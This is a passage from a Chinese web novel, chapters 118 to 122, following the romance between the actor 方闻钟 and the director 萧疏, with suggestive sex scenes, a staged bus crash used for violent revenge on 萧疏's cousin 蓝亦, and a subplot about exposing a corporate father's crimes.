方闻钟疾步走上楼梯,几步后正好碰见萧疏下来,他的脸色不太对劲,萧疏于是问:“怎么了?” “没事啊,”方闻钟立马切换乖巧黏人的角色。 剧组终于要放假了,起因是男女主有个商业活动,要请假出去两三天,萧疏干脆大手一挥,整体休息。 方闻钟忽然有些迷茫,放假了他要去哪里?这点在萧疏说出他要出一趟国,大概两三天后回来,如果回不来就让周导先拍着时,方闻钟更不知所措了。 一直以来,他所有的时间都围绕着萧疏,眼见两人关系亲密,萧疏突然要离开,他还没理由跟着,一时让方闻钟有些急躁,心情不好。 可萧疏还是走了。 顶多安慰了一下他。 “这么短时间就想我啊?”“想。” 萧疏出国有要事要办,而回来刚落地,就被一群朋友拉着入了酒局,有求人办事儿的,也有日常献殷勤的,多的是成人世界里的五光十色。 这样的场合里萧疏不会说方闻钟,而方闻钟也实在上不了台面,连原一清坐在这里都只够赔笑。 推杯换盏,萧疏喝了不少,身边朋友们的男伴女伴也换来换去,自始至终,哪怕萧疏衬衫的扣子解开一点,徒添韵色,也没人敢冒失提让他接纳谁。 醉意微微上头,萧疏在人声鼎沸中接通响了好几次的手机。 …… “别吵,”这次,萧疏打断了众人,皱着眉头似乎要耐心听清电话对面说了什么,一时之间,局面还是觥筹交错,气氛却已安静下来。 方闻钟以为在说自己。 本来装可怜的唯唯诺诺的语气,这下全剩了沉默。 于是萧疏从那安静中,听出了方闻钟在无声哭泣。 “哭什么,”他眯着眼说了一句,不管周围几双眼微微瞪大,等待方闻钟的回应。 “我,我在你家门口。” “你说什么?”萧疏一下坐直,难以置信,萧疏曾无意间提起过自己在市郊的一处住址,方闻钟不止记下了,还深夜独自跑去那里找他。 “你回来了对吗?”方闻钟有些抽噎,“我看到你回国了。” 萧疏起身离开。 通话还在继续,他们断断续续地说着什么,方闻钟情绪慢慢变好,“我刚没有在凶你。” “我知道。” “这么想我吗?” “嗯,”萧疏没告诉从酒局到他那处房产,要开车两个小时,方闻钟也假装不知道。 他今晚的所作所为,不过是为了惊喜。 坐在后座养着神,萧疏有一搭没一搭地哄方闻钟,驱车掠过上坡山路,司机停车,萧疏一下就看到了蹲在那里的方闻钟。 方闻钟当然也听到了声音,昏黄的灯光下,他站起身,笑意盈盈地看萧疏,手机顺势在他手里挂断。 “有些冷,”萧疏未开口,站起来的方闻钟就忍不住抖了一下,显然,他之前全凭蹲着抱住自己取暖。 萧疏叹了一口气。 方闻钟注视着他这幅样子,显然更开心了。 而当萧疏把西装外套脱下来罩在他身上时,他伸出细嫩的胳膊,抱住萧疏的腰。 “这两天过得好吗?” “还行吧,”方闻钟脑袋埋着说,他并不叫屈萧疏不在的时候,他孤零零待在剧组,还有蓝亦虎视眈眈,可能会遭遇什么,也不说为什么自己突发奇想,深更半夜在萧疏家门口等他,而显然,这里并不是萧疏常住的地方,萧疏有那么多能去的地方,甚至回国可以任何时间不着家,有的是任他潇洒取乐的场所,可方闻钟知道的,只有这里。 “不是过两天我就回去了吗?” 方闻钟抬头,甜滋滋地说:“惊喜啊,萧疏,我给你带了礼物。” 他从地上的衣服里捧出一只小猫,猫脑袋被打扰了左右摇动,萧疏这才注意到,他还穿了外套,只不过外套用来包裹猫了,流浪猫。 “我在剧组发现的,洗干净了,带他一起来见你,”方闻钟将手举起来,示意萧疏仔细看。 “他也没地去,可能也没有家了,”方闻钟低头,一下一下摸着猫脑袋,猫猫发出舒服的呼噜声。 很多很多,从今晚那通电话开始,细密的属于方闻钟有意或无意扎过来的针,折磨着萧疏。 可怜的是猫吗?是人。 方闻钟要的就是让他可怜,惊喜、诉说的想念、喜欢。 所有都化作萧疏无可奈何的一叹,“你啊,你啊。” 第119章 刺激和欢愉 空旷的别墅没有一丝人气,打开各种电子设备,房间才有了暖烘烘的热意,方闻钟坐在地毯上,灰色的布偶猫被他拢在腿间,猫猫被撸得舒服,人却漫不经心地观察着上下楼的萧疏。 萧疏走过来,站在他腿边,弯腰,“方闻钟,要我把你抱起来才肯坐沙发上吗?” 一直坐在地上像什么样子?他怀里那只独眼猫都比他更有在这里的归属感。 方闻钟动了动鼻子,答非所问,“你喝了好多酒。” “……” “什么酒?” 萧疏冷淡的眉眼给不了答案,于是方闻钟自己欺身去验证了,他张开嘴尝了尝。 “喵呜~”猫猫跳开,跑远了。 方闻钟碾着萧疏的嘴唇,萧疏还没有反应,他用力咬了一下,萧疏将他整个人抱起来,往楼上走时还因为抱的姿势差点摔下来。 这才对吗,萧疏在装什么? 方闻钟今晚格外主动,亲到口水拉丝,嘴巴红润的像被辣椒浸泡过,还缠着萧疏非要给他回答,“喝了什么酒。” 萧疏说一个,他就‘哦,多少钱?好贵啊,没听过……还有呢?’ 问完了酒还有别的,啰啰嗦嗦,只有一个共同点,全他妈不重要!萧疏的底线被一次次试探…… “你闭嘴吧,”萧疏将人放倒T恤推上去方闻钟却制止他,他笑着闹着像条蛆一样。 “萧疏。” “我们玩点别的吧。” 他在他耳边说悄悄话- 战场被换到了三楼室内游泳池,方闻钟赤|裸着肩膀,趴在泳池边上喝酒,他手里端着半杯橙色饮品摇晃,胳膊边还摆着几盘应景的水果。 泳池香气弥漫,方闻钟快睡着了,如果不是后面一下一下,有人抓着他的腰…… “疼,”方闻钟嗓音哑哑地嘟囔了一句,萧疏的手劲未免也太大了。 萧疏说有什么比果盘里的樱桃更红,方闻钟胸前磨在池边上,他知道‘什么’是什么。 一口酒晃来晃去就是喂不到嘴里,方闻钟也没力气再去挣扎了。 Caspian的体力好到让人觉得生无可恋……方闻钟眼巴巴地望着头顶,“如果能看到天空,就更好了。” 酒杯滚落一旁,价值几十万的酒,终究与他失之交臂。 没有天空,但有星空顶,萧疏带走一身水帘,打开了头顶的星光。 方闻钟被惊艳得目瞪口呆,没有人知道他在想什么,或许他只是在单纯发呆,蓝色的星星点点落在水面上,漾起一片波光粼粼,身后重新落入别人的怀抱,方闻钟只来得及说:“还来?” 萧疏管着叫做给方闻钟的奖励。 几个小时前,方闻钟亲著萧疏的嘴唇,他整个人似八爪鱼攀在萧疏身上,怎么身体接触都不够,四处撩|拨,又处处克制,萧疏一身火气,他推着两个人,一起跳进了水池…… 颤栗、激动,方闻钟像条鱼一样,和萧疏在水下打架,似乎谁也没想过先上来,他们交换着气息,憋着仅存的氧气,你追我赶,赤条条……再冲上水面大口呼吸时,硕大的泳池底下,留了几件碎衣。 “方闻钟,你想干什么?”萧疏脸上全是水,说话时,还抱着方闻钟的头啃他嘴。 “放心吧,我游泳技术好着呢。”两人重新入水。 冰火两重天,在窒息的边缘体会绝顶的快|感和撩|拨,这是方闻钟给萧疏的刺|激,‘好玩的’。 这个世界彷佛只剩下他们两个人,所有的感官只有彼此,皮肤接触,水流滑过,大开大合,咕噜咕噜的气泡,水下的世界,丰富得让人迷了眼。 他们都在试图突破自己的极限,当萧疏想上去时,明明方闻钟自己也没气了,却一把拉住萧疏的手腕,两人纷纷沉底。 他的疯狂没有道理,可萧疏只是眼里滑过一片冰凉后,重新拥吻方闻钟,将最后一口气渡给他。 半死不活……萧疏从没这么狼狈过,方闻钟更甚。 他不会问他不要命了!斥责或生气,通通没有,方闻钟想要的、给予的,他都接受。 “Caspian,”方闻钟转过头,虚弱地说:“水温调高点,我冷了。” “好。” 刚才的抵死纠缠,彷佛全是错觉,只有身体告诉他们疲惫。 方闻钟喝着酒,被喂上樱桃,萧疏开始享用他的“美食”。 布偶猫在喵喵叫,可能是许久不见人,它饿了,方闻钟怀疑,再这样下去猫会跑上来看他们,两只两脚兽在做什么? “你今晚还带来了别人的香水,”方闻钟忽然冒出一句,他也知道萧疏刚从酒局上下来。 不是质问,也不是恼怒,单纯阐述着令人不喜的事实。 叫萧疏的动作一顿,萧疏抽出来,抱住他头靠近,“想说什么?” 寂静太久,以为等不来下一句了,方闻钟却没头没尾地说:“萧疏,我想去看海。”- 驱车赶往海边,方闻钟强撑着半路就靠在萧疏怀里昏昏欲睡,他身上宽大的衣服,从里到外都是萧疏的,当卷起袖边放鼻子下闻时,萧疏说:“新衣服,没味道。” “以后也不会有香水味了。” “到了吗?”感觉到车一停,方闻钟睁眼,就看到车前灯光下,汹涌的潮水一下一下打着礁石。 这里并不是人们常游玩的海边,只是距离最近的地方,司机停好车,独自走开,而现在,天空蔚蓝,黎明即将来临。 “要下车吗?” “下去吧,”方闻钟率先打开车门,一阵海风顿时刮过,他冷得往后一退,还是鼓起勇气离开温暖的地方。 萧疏也下车,车门砰得关上,在海浪拍打下,似乎也成了微不足道的声音。 两人站在石头上,海水撩过都能沾湿脚踝,方闻钟还站在那里,萧疏将人往后拉了一步。 他们平静地听着这汹涌的声音,夹杂着风声怒吼,若是一个人在这里,一定会害怕。 可车灯打出两个人的光影,只剩下极致的平静和满足。 所有的愿望都实现了,所以他也会如愿对吗?一辈子安安稳稳的,活过二十岁。 方闻钟转头,“Caspian,怎么我说来海边你就真带我来海边啊,我从不知道这里能看到海。” 萧疏双手插兜,平淡道:“又不是多难实现的问题。” “那难实现的呢?” 萧疏注视着方闻钟,两人的身影都在对方眼里模糊,清晰。 “对我来说没有难实现的。” 方闻钟笑了一下,为Caspian的自大。 黎明已至,他们重新返回车里,一上一下,方闻钟坐在萧疏腿上,宽敞的座椅,给了他最大发挥的空间。 “还有力气吗?”萧疏不想强求方闻钟。 可方闻钟想,他也不是逞强,躲在萧疏怀里咬耳朵,“你只出来了两次,”不像他,一言难尽…… “哼,”萧疏闷笑出来,任由方闻钟起伏。 这种动作第一次,不熟练但足够温馨,萧疏还要扶着腰借他力气,为了不叫人听到,从方闻钟口中溢出的一声声喘气,全被他吞入腹中。 “我喜欢你Caspian……”方闻钟睡着了。 还保持着刚才的样子。 萧疏定定地抱着人,许久之后,抬气一边手,骨节分明的手指,蹭过他眉毛,眼睛,最后在鼻头上划了一下,似是怪他调皮,可又着实惹人恋爱。 擦过泥泞,收拾好衣服,萧疏抱着睡着的人,他的红唇太诱人,在司机到来的前一刻,萧疏低头,浅尝片刻。 舌尖探入,是樱桃酒。 他们离海边越来越远,方闻钟也越睡越熟,萧疏看着窗外,腿上的份量他自始至终没有将人放下去,“怎么办呢?”他朝着窗外轻笑一声。 “嗯?”寡言的司机还以为在吩咐他,回头追问了一句。 “没什么,”萧疏已经回神,又是司机敬畏的样子。 怎么办呢,方闻钟,他在心里轻念,对你欲罢不能,你惯会拿捏我的心思…… ‘我好像这么快,就染上了一种名为方闻钟的毒……’ 车后座,寂静的Caspian,在无人在意的角落,将嘴唇贴近方闻钟的额头,说。 第120章 萧疏也不过是一条任我指挥的狗。 方闻钟和萧疏一起迟到了两天才来剧组,周导兢兢业业地先拍着其他人的戏份,剧组人员见怪不怪,方闻钟现在身上打着一个大大的标签:勾搭上萧导的幸运儿! 蓝亦却看到这一幕感到稍微震惊,以前,他从未想过方闻钟可能和Caspian有什么关系,一个天上一个地下,蓝亦讨厌Caspian,但打心底里还是认为,方闻钟给他表哥提鞋都不配。 晚上九点多钟,剧组已经休息,蓝亦看到回来的两个身影,情不自禁地跟着一起回酒店。 萧疏要回头,被方闻钟拉了一下手。? 他当然知道后面有人跟着,方闻钟嘴角扬起一抹耐人寻味的笑容。 Caspian现在最听他话,于是也不往后查看,两人一起进了电梯。 转身,电梯门合上的刹那。 里外都看清了足够让人震惊的面容,蓝亦站定在几步之远,僵硬地看着方闻钟萧疏二人牵在一起的手,而方闻钟还有更让他震惊的! 方闻钟一下侧对着萧疏,勾搭上他脖子,男人被不可避免地拉弯下腰,方闻钟极其扭捏地夹着嗓子喊了一声:“老公。” 伴随着他造作的撩骚,小男生的腿还在萧疏腿上一上一下摩擦,西裤脏了一块,露出Caspian黑色的丝袜。 叮—— 蓝亦再也看不到了,方闻钟突然松开萧疏,笑弯了腰,哈哈哈哈,他笑得眼泪都快出来了。 萧疏却只惦记着,“刚喊了什么,再喊一遍?” 表弟是什么东西,从不在他的视野范围内。 第二天清晨,萧疏要作为主导演外出拍戏,拍外景的地方有点远,在一个山沟沟里,主要是男主的戏份,方闻钟作为男二可以晚点儿再去。 他从酒店房间出来,果然看到了久等他的蓝亦。 蓝亦的表情像要喷火,方闻钟却镇定自若,去餐厅吃早餐,甚至在蓝亦后来跟上时,还嘲讽道:“你不会在你表哥房门口守了一夜吧,听到了我的,叫|床声吗……” 方闻钟幽幽地在蓝亦耳边说。 蓝亦直接被这句话气炸了,“你可真不要脸!” 骂人的眼神狠毒,被骂的却有点享受,还是想笑,蓝亦这一幅破防的样子。 方闻钟喝着果汁,听蓝亦说:“你肯定看到了我前天发给你的视频,所以才自取灭亡,想了这么一个办法是吗?” 甜蜜的果汁滑过喉咙,刺得人有些疼,蓝亦发过来的视频里,他的植物人赌鬼爸,被拔了各种维持生命体征的管子,显示器上一声声嘀嘀嘀的催促如同阎王叫门!直到人马上快死了,才涌入一大群医生护士慌乱地进来抢救。 蓝亦的笑脸却在此时出现在镜头里,他那么可恶,可没人能拿他怎么样…… 方闻钟看到这段视频时手都在抖,病床上的人,和他再没感情,却是他生理学上的亲人,他可以不管不顾,但是蓝亦不能拿他的生命做威胁。 “下一次,就不会有人再进来了哦。” …… 方闻钟通身气质变了一瞬。 “你怕我继续整你,所以找了Caspian当靠山,”蓝亦自说自话,道出他自以为的真相。 “你真以为他的床是那么好爬的吗,”直到现在,蓝亦还是为方闻钟突发奇想的胆量,感到难以置信,“什么时候死的都不知道,”他盯着方闻钟。 “可我已经爬上他的床了啊,”方闻钟笑容灿烂。 “Caspian是什么很难接近的人吗?我只知道,现在你在忌惮……”方闻钟在高脚椅上弯腰,刺激地蓝亦立马就想让这张得意的脸庞上布满惊慌失措。 两人都嗤笑了一声。 出了餐厅,同时上剧组准备的大巴车,闭目养神间,大巴开出了酒店半小时左右,进了山沟,山路陡而窄,还因昨晚的潮气路边野草上沾湿着露水,颠簸晃动,似乎只是个开始,而后。 大巴忽然一个剧烈侧翻!险而又险地倒在路中间!一边卡在山壁上,一边却是望不到底的70°长坡。 蓝亦因这一摔,直接跌出了座椅,而方闻钟默默解开安全带,站了起来,朝蓝亦走去。 司机早在第一时间慌乱地跑走说是找人帮忙。 当手机被方闻钟一脚踢出车窗摔下山坡时,蓝亦还没觉得有什么,直到方闻钟提起他的领子,将人抵在车窗靠近悬崖的一侧,蓝亦才明白,方闻钟胆大包天,竟敢报复他! 方闻钟的力气早不是小弱鸡蓝亦可以比的,他脸上的神情,也是蓝亦从未见过的锋芒毕露。 “你要做什么!”蓝亦双手揪住方闻钟的手,头伸出窗户外了,后怕地开始制止方闻钟。 “你总以为,我会接着、受着,无论你抛过来什么招,我都只能抗过去,抗不过去,就跪下来认输……” “不是吗,”蓝亦还在嘴硬。 方闻钟想笑,没笑出来,手下一用力,蓝亦脖子直接抵在边沿上疼得他后脑勺要分家了似的! “方,方闻钟,你不想活了!”有本事今天直接把他弄死!但蓝亦谅他不敢,今天一过,他一定让方闻钟尸骨无存!蓝亦想杀人的心肆虐不止。 “你不过是仗着Caspian浅薄的关抚,可笑,”蓝亦偏过头啐了一口,“一夜|情就想让Caspian把你放在心上,”他嘲笑方闻钟的天真。 “松手,我还可以不跟你计较,”头一直后仰着,蓝亦有些缺氧。 方闻钟歪了歪头,回答他的,是一脚踹在蓝亦肚子上,人直接弓成虾米痛哼出来,方闻钟将人踢到了车门口,打开大巴车门,背后就是深不见底的坡底! 蓝亦终于怕了,狼狈地抓住方闻钟胳膊,“你到底想干什么!” “你折磨我爸的时候没想过我要干什么吗?”方闻钟靠近蓝亦压低声音,“今天都是我设计好的,不怕告诉你,司机是我的人,大巴是故意翻的,而这里前不着村后不着店,没有人会找到你,除非Caspian自己来。” “可是你说,他会向着你,还是向着我?” 蓝亦眼神滑过无数神色,随着方闻钟说到最后,实在忍不住讽刺他,“你是什么东西?Caspian比你想像的更可怕,你招惹了我没好果子吃,而现在,你招惹了我们一家人……” 弱者总是有时间多说些废话,这是因为掌握他们生命的人,愿意多看一会儿他们狼狈的挣扎,蓝亦几乎平行着整个人快掉出去,只有脚下和脖子里方闻钟抓着的地方,两个支撑点。 他脚尖想用力勾住车门,方闻钟却拉着他把他越往后倒。 他能看到山底的风景,能闻到鼻尖青草的苦涩,方闻钟试图一根根,松开抓他的手指。 “救,救命!”蓝亦终于意识到恐惧,他开始向方闻钟求饶,尽管从这里掉下去,很可能不会直接摔死…… “方闻钟,我错了,我不会再跟你计较找你麻烦,只要你离原一清远一点。” 方闻钟仅用两根手指。 蓝亦一边求饶,一边泪眼模糊中好像看到了有人过来。 方闻钟却让他死心。 “你知道吗?Caspian不是第一天喜欢上我的,所以你才找我麻烦屡次不成功,你说我配不上他,是他身边一条无关紧要的狗,哪怕爬上他床,还是可以弃之如履的人。” “你表哥那人啊,确实是这样,可是我看他对你这个表弟,也一样视、如、草、芥。” “但他会听我的呢,可惜,”方闻钟淩驾于他之上,“今天这一切,你猜有多少是Caspian授意,知情?” “他在你那里是不敢得罪的人,在我这里也不过是被我呼来唤去,任我指挥的一条狗。” “我让他往东,他不敢往西……”蓝亦侧过头的视线,忽然多了另一层恐惧。 “他迟早会让你,尸骨无存。”方闻钟贴近蓝亦,忽然这样说道,然后哈哈大笑。 再一个抬头间,萧疏单手插兜,站在眼前。 他听到了,也看到了,方闻钟这幅大言不惭彷佛将萧疏玩弄于掌心的样子。 起身,松手,“啊”蓝亦滚下去。【你现在阅读的是 】 120-130 第121章 萧疏:欢迎来到,我的世界。 在蓝亦无数个倒插葱滚落的时候,方闻钟和萧疏一上一下注视着彼此。 他们都在猜忌对方的心思,方闻钟在漫长的爽后,感觉到一丝未知的不受控。 他来不及想萧疏听到他那样作践他,敢骂他,会有什么反应,也来不及深思他当着人家的面把他表弟扔下去,会招来什么后果。 狐假虎威的是他,勾引利用的也是他。 如今一切暴露,但不是方闻钟不小心。 他只是在赌,赌萧疏,会爱他。 当结果还不确定时,方闻钟不介意多加一层、两层、好多层保险…… 他跌跌撞撞地跳下去,摔在萧疏怀里,在隐忍的颤抖中,他吻上萧疏的唇,眼角落下的泪,冰冰凉凉地沾在萧疏脸上。 萧疏替他擦掉。 方闻钟哆嗦着拿出自己的手机,打开那个蓝亦发给他的视频给萧疏看,“他,他折磨我爸爸。” “萧疏,萧疏,他怎么能这样!”嘀嘀嘀的仪器声中,方闻钟在萧疏怀里泣不成声,一分不到的父爱,他演出了十分,“我没办法,我太冲动了我知道,”方闻钟摇着头。 “我不是故意的,可是蓝亦一而再再而三地挑衅我,”难道不是他挑衅他?方闻钟在心里迅速划掉这个想法,“我只是想让他生气,蓝亦怕你,”方闻钟晶莹剔透的眼睛看向萧疏。 “我只要提起你,故意说你很喜欢我,才不在乎他,他才会害怕,失望,我只是想让他感受一下同样的害怕……” 萧疏一直未说话,哪怕他刚听到,他是方闻钟口中的,一条衷心的狗。 “那你怎么把他扔下去了呢?”萧疏淡声问。 “我…我手疼,”方闻钟抬起一直抓着蓝亦领子的手,手指真在微微颤抖,“我是不小心的,才让他掉下去了……” 萧疏唇间溢出一丝声音,说是叹息,可要数心疼也不为过,他抓住方闻钟的手,替他擦了擦,然后举起来,放在自己的唇边,温热地亲了一下。 方闻钟的心终于落地,他再也不受控制地大扑在萧疏怀里,将人抱得死死的,哭泣变得真实了点。 方闻钟明白,萧疏选择了他,在漫长的接近中,他第一次,在他和蓝亦的正面交锋中,旗帜鲜明地站在了他这边。 未来还有好多好多次,方闻钟势在必得。 正如他最后对蓝亦所说。 萧疏将怀里情不自禁颤抖的人,拥抱得更踏实了点,方闻钟着实多虑。 从萧疏站在那里,却眼睁睁地看着蓝亦掉下去,没有阻止,没有救援,只关心方闻钟好不好,只心疼他因为一分视频演出来的十分痛苦时,就证明了他在乎的,只有他。 蓝亦命大,果真没摔死。 断了腿是事后救援上来方闻钟侧面知晓的,毁容了倒是完全没想到。 几天后得知这个消息,蓝亦甚至直接出国治疗,完全消失在他视线内,剧组招呼打都不打,方闻钟心弦拨动,彻底震惊。 “萧疏,”方闻钟坐在沙发上,眼巴巴地问:“男五号不是还有戏份没拍完吗?怎么办?” “很好解决,”萧疏没说具体的解决方法,反正方闻钟也不在意。 在方闻钟磨蹭着不肯走时,萧疏走过来站在他旁边,“今晚不回去休息了?”明天还有最后的几场大戏。 萧疏的手贴着方闻钟的脸,方闻钟正好靠在他腰上,大拇指来回摩挲,方闻钟嫌痒躲来躲去。 萧疏讨厌蓝亦的脸很久了,尤其是方闻钟也说他们相像,所以那张脸上,再也不能露出和方闻钟有一分相像的笑容,还断着腿就被保镖抓住刀贴在脸上时,蓝亦哭疯了向萧疏求救。 一刀刀,鲜血染满可怖的画布,直至Caspian最后离开,蓝亦都没听到他一句冷心冷情的解释或问候,跪着看他离开。 “蓝亦他,真的不和我追究吗?”方闻钟忍了许久,抬头这样问萧疏。 比起之前蓝亦对他的吓唬,这次蓝亦可是倒了大霉。 “?”萧疏低头,看仰视他的男生,“不是说一切都是我授意的?我护着你?他哪敢啊。”他轻笑一声。 方闻钟懂得适可而止,这次的结果十分令他满意,只是他再也不提萧疏是条听他呼来喝去的狗什么的,进度还没到100%,接下来继续攻略萧疏! 熬了几个大夜,萧疏和周导争执来争执去,连累的一众演员都耗尽了最后一滴血,电影终于拍完! 接下来就是剪辑等其他辅助工作,萧疏做了三分之一后,把剩下的直接扔给周导,时间又过去了一个月。 一身潇洒的萧疏,又恢复了他大少爷的行头,过去一个月,方闻钟接了两个公司安排的小活儿,人倒是被安排在萧疏一处住所内。 萧疏仰着头,噙着笑问一身水汽,刚洗过澡但身上还有红晕的方闻钟,“跟我走吗?” “去哪里?”- 酒桌,价值几十万的酒摆满一桌又一桌,漂亮的瓶子折射出来的灯光,倒映的周围人晃动的身影……前所未有的充斥着方闻钟的眼球和耳朵。 而他被萧疏揽在怀里。 赌桌,不要钱一样的筹码,玉石般的触感在他手下搓动,金碧辉煌的殿堂内,当荷官把几摞高高的赢资推到他眼前时,全场欢呼。 萧疏却一只手撑在桌上,一只手随意搭着他的肩,在他身后问:“怎么样,很简单,我说了输了算我的赢了归你。” 跑马场上也有不合时宜的人问方闻钟是谁,萧疏一个歉意的眼神都懒得给,他抱着方闻钟,在骏马上驰骋…… 城堡,海洋,最高端的宴会,商业洽谈,萧疏都带方闻钟去过。 无人追问方闻钟有什么资格,他只需要在萧疏身边做一个挂件就好,只要萧疏喜欢,这个挂件就会得到很多善意。 他见识了两辈子从未见识过的东西,短短两个月,人生好像被重塑过一般,而这就是萧疏要告诉他的:欢迎来到,我的世界。 萧疏在湖边钓着鱼,方闻钟像初学者一样给他的鱼鈎上挂饵,然后再被萧疏抛下去。 钓鱼是方闻钟提出来的,湖边冬日的阳光晒得人昏昏欲睡,踩过下午铺满红叶的小道,方闻钟说这里钓鱼肯定很爽,萧疏低头一看,鱼挤鱼,岸边多得都快蹦上来了,给他一个无语的眼神。 鱼竿还是萧疏自己拿出来的,搬了两把椅子,离鱼最多的地方远了点,把饵往湖中心撒。 方闻钟一开始兴致勃勃拉线收鱼,后来太热了趴在萧疏背上。 于是鱼上鈎了也不拉,萧疏:“脖子快被你压断了。” 方闻钟:“胡说,我在给你遮阳。” 萧疏一动不动,真保持着这别扭的姿势,人快睡着了,才招呼方闻钟,“不累吗?坐下吧。” 浮华散尽后,还有平淡的午后,而方闻钟最喜欢这时候依偎在萧疏旁边。 他抱住萧疏的一条胳膊,闭上眼,萧疏于是将外套脱给他盖上就这样睡,而萧疏自己,躺在椅子上,鱼竿上上下下,从不跑空,也从不收竿。 男生睡醒了,在发呆,萧疏忽然问:“方闻钟,你有钱了想干什么?” 方闻钟没提过他缺钱,可他曾经的拮据是事实,这点在跟萧疏来这边后,发生了翻天覆地的变化,萧疏变着法给他塞钱,各种场合赢来的,挣来的……多的让方闻钟受之有愧,又觉得可笑。 萧疏总说,‘这是你应得的’,可方闻钟不知道,这是否也是有钱人逢场作戏的把戏…… 钱在他卡上,但方闻钟不敢用。 它给他的底气,还没有萧疏陪他睡一觉早上亲他一下多。 “买你一夜两夜,”方闻钟开始口出狂言,人还半躺在萧疏怀里。 萧疏嗤笑,“你就这点想法?”过一会儿又觉得不对,“你就只想买一夜两夜?” “方闻钟,起来我们去多赚点钱,”方闻钟咯咯笑,拉住萧疏起身的手掌。 他开始说认真的,“买套小房子吧,”不然没住的地方,“有机会的话可以再拍戏,吃好点儿,”娱乐圈也挺好的,但他想轻轻松松的,幸福又平淡地吃每一顿早餐、午餐、晚餐……好没有出息哦。 萧疏没有嘲笑他,方闻钟等了好久,想听萧疏还要说什么,转身就被萧疏俯身轻吻了一下,“走,带你去吃好的。” 餐桌上,方闻钟见到了一位突然拜访的老人,几米长的餐桌上本来只有他和萧疏,可因为突然到访的老者,局促了几分。 方闻钟放下餐具,想起身问候,老者却视他为无物。 与此同时,萧疏按住方闻钟的手,让他好好坐着,“四叔,”他这样称呼来人。 四叔一条腿有些瘸,拄着一根龙头拐杖,和萧疏聊了几句家常(打了几句机锋),才把视线转向方闻钟。 浑身一凛,阴冷得不舒服。 四叔已经离开,“到时候侄儿一定要来贺喜哦。”- 方闻钟定在原地。 贺喜,四叔的女儿嫁人,明年的二月十八号,XX游轮。 他的眼前爆炸纷飞,无数人死去落海,而他仍不知道,四叔是不是始作俑者。 “你怎么了,”萧疏问。 第122章 风雨前夕 “没什么,”方闻钟脸色微白,短暂的发怔后糊弄了过去- 萧疏和方闻钟回来得悄无声息,此时原董,原一清父亲的丑闻却在国内甚嚣尘上,传得满城风雨,性|侵数十名女性,从资助的学生,到公司员工,再到合作夥伴,无人知晓这些受害者是如何联合到一起的。 只知道,从第一例开始,引爆、被质疑、被否定、被谩骂,然后就是无数例支持者,她们终于现身说法,一起高举冤屈站在公众面前!或许背后有其他势力,但至少,他们有了讨回正义的机会。 原董龟缩在家里,原一清也不见得轻松。 而此时,他尚不知晓,等待他的还有更大的阴谋。 几个月过去,原一清付出一切心力,花十亿打造的电影,终于拍完快面世了!可是渐渐有小道消息传闻,他的电影剧本,是抄袭别人的,而他重金请的编剧,掠夺了更多底层工作者的成果,逼得人跳楼自杀。 一时之间,他期待已久的这部S级项目,彷佛瞬间成了别人口中的一坨屎,谁都不对它抱有期待,除非看看它到底有多恶心,专门来骂。 一开始,原一清以为可以公关,只要多请些水军洗白就可以,谁不知编剧的大名,谁不懂他们资本的含量,可是事实又一次让他刮目相看,似乎是等这一刻已经太久了。 甩出来的真相和证据直接将参与电影的人全部钉在耻辱柱上。 当编剧被起诉逃走时,原一清还是不敢相信,一切都散了,一整年颗粒无收,十几亿资金打水漂…… “爸,”原一清跑来原董面前吼,虽然把原董刚挪出来的十亿霍霍完了,但原一清还想张口要钱,且他相信,对方还能给他搞到。 可是这一次原一清错了,原董现在一分钱都不敢从公司账户上挪出来。 他面容阴沉,表面看,他只是身上沾了丑闻,可实际上,在原一清不知道的时候,他的手在公司伸得更长,做了更多比性|侵严重一万倍的事。 他不禁在想,是谁在背后搞他?是不是因为投资电影的十亿,让对方察觉到资金来往有问题,才一步步深究,将他置于现在的烤架上。 他终于将视线挪向儿子,还没有太坏,只要他们握着最终的把柄,他们一家人就一定可以安好地活下去,原董拉开抽屉,递给原一清一个U盘。 千叮咛万嘱咐好好保存它,还是没说太明白里面有什么,原董只道:“别让外人知道我给过你什么,”原一清一直在局外,这次应该也会被忽略。 只能说,原董还是想得太简单了,因为有一个人一直盯着他。 那就是方闻钟。 而方闻钟知道了,原董口中的针对他的人,也会知道!或许还有更多的仇人! 其他想拉原董下马的董事,都是方闻钟挑拨的,小人物虽然无法直达天听,但他相信,只要原董露出缺口路出马脚,多的是资本不想让他好过。 方闻钟就是那个凿开他马脚的人,借原一清的手! 原一清上车后,怏怏不快,此时一通意外的电话,让他挑眉接通。 来电竟是方闻钟,傍晚六点多,方闻钟找原一清,说要把很久之前的原一清帮他父亲治疗的费用还给他,一共几十万,方闻钟还想表达他对他的感激,所以给他一百万。 原一清再缺钱,一百万还是个让他不看在眼里有点可笑的数目,可这是方闻钟给他的,听着方闻钟认真的语气,原一清兴趣满满。 仔细算算,他有多久没见过人了,方闻钟不说,他都快忘了…… 他曾经打着包养的招牌,将人困在身边。 可惜,后来好像认识萧疏后人野了,跑远了。 蓝亦并没有来得及告诉原一清,方闻钟成功勾搭上了萧疏,成了萧疏的心头好,他逃走得匆忙,原一清竟也懒得联系他。 “上车,”原一清在一处高档小区路边,接到了方闻钟,方闻钟穿着简单的卫衣,两手插兜。 原一清想带人一起去吃饭,感激怎么能只用嘴说说,方闻钟只好上车。 可这正是他想要的! 接近原一清,拿到原董给他的,可能让他们原家家破人亡的证据! 为此,方闻钟不介意伏低做小,陪他演戏。 吃完饭,方闻钟将卡递给他,他主动提起了父亲的近况,幸好曾经原一清愿意伸出援手,才叫他有慢慢挣钱、报恩的机会。 天真乖巧得令人心疼,原一清如此想到。注意到对面的小男生抿了一口饮料,笑容浅浅地问起他怎么样? 电影剧本失利,这是大家都知道的事,原一清尽管心里不爽,还是没把这太当回事,在方闻钟面前装道:“就那样……” 方闻钟不免露出不好意思难过的表情,毕竟电影剧本是他推荐的,他说:“我,我没有更多钱了,但我以后一定会在公司好好干的。” 原一清终于忍不住笑出来,他完全忘了方闻钟曾经和萧疏关系不菲,可能发生过什么,这一刻他单纯感激恨不得为他立马卖命的表情,让原一清大手一挥,“没事,家里还有人兜底呢,”抬手间,一个串着绳子的普通U盘,不小心经他手带到桌子上,发出一声轻响。 方闻钟的目光霎时一变,像狼一样扑在上面,而原一清一愣,很快收起来了。 后背结结实实靠在椅背上,方闻钟放松地想,知道东西在原一清身上就好,剩下的就是怎么想办法拿到它。 二人吃完饭一起去停车场,可突然来临的意外!一下将二人置于危险,也让方闻钟很快有了得手的机会! 他们被一起绑架了! 